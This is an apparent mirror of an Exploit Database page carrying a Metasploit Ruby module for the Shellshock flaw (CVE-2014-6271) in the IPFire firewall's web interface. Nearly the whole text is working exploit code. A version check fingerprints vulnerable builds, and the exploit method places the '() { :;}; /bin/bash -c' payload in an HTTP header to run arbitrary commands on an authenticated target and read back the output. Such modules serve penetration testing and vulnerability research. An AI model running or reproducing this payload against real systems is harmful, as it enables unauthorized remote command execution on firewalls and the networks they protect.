IPFire – ‘Shellshock’ Bash Environment Variable Command Injection (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2016-06-10
• 类别：

  • remote
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/39918/

• ##
  ## This module requires Metasploit: http://metasploit.com/download
  ## Current source: https://github.com/rapid7/metasploit-framework
  ###
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(
  update_info(
  info,
  'Name'=> 'IPFire Bash Environment Variable Injection (Shellshock)',
  'Description' => %q(
  IPFire, a free linux based open source firewall distribution,
  version <= 2.15 Update Core 82 contains an authenticated remote
  command execution vulnerability via shellshock in the request headers.
  ),
  'Author' =>
  [
  'h00die <mike@stcyrsecurity.com>', # module
  'Claudio Viviani'# discovery
  ],
  'References' =>
  [
  [ 'EDB', '34839' ],
  [ 'CVE', '2014-6271']
  ],
  'License'=> MSF_LICENSE,
  'Platform' => %w( linux unix ),
  'Privileged' => false,
  'DefaultOptions' =>
  {
  'SSL' => true,
  'PAYLOAD' => 'cmd/unix/generic'
  },
  'Arch' => ARCH_CMD,
  'Payload'=>
  {
  'Compat' =>
  {
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'generic'
  }
  },
  'Targets'=>
  [
  [ 'Automatic Target', {}]
  ],
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Sep 29 2014'
  )
  )
  
  register_options(
  [
  OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
  OptString.new('PASSWORD', [ false, 'Password to login with', '']),
  Opt::RPORT(444)
  ], self.class
  )
  end
  
  def check
  begin
  res = send_request_cgi(
  'uri' => '/cgi-bin/index.cgi',
  'method'=> 'GET'
  )
  fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
  fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
  /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
  
  if version && update && version == "2.15" && update.to_i < 83
  Exploit::CheckCode::Appears
  else
  Exploit::CheckCode::Safe
  end
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
  end
  
  #
  # CVE-2014-6271
  #
  def cve_2014_6271(cmd)
  %{() { :;}; /bin/bash -c "#{cmd}" }
  end
  
  def exploit
  begin
  payload = cve_2014_6271(datastore['CMD'])
  vprint_status("Exploiting with payload: #{payload}")
  res = send_request_cgi(
  'uri' => '/cgi-bin/index.cgi',
  'method'=> 'GET',
  'headers' => { 'VULN' => payload }
  )
  
  fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
  fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
  /<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
  print_good(output) unless output.nil?
  
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
  end
  end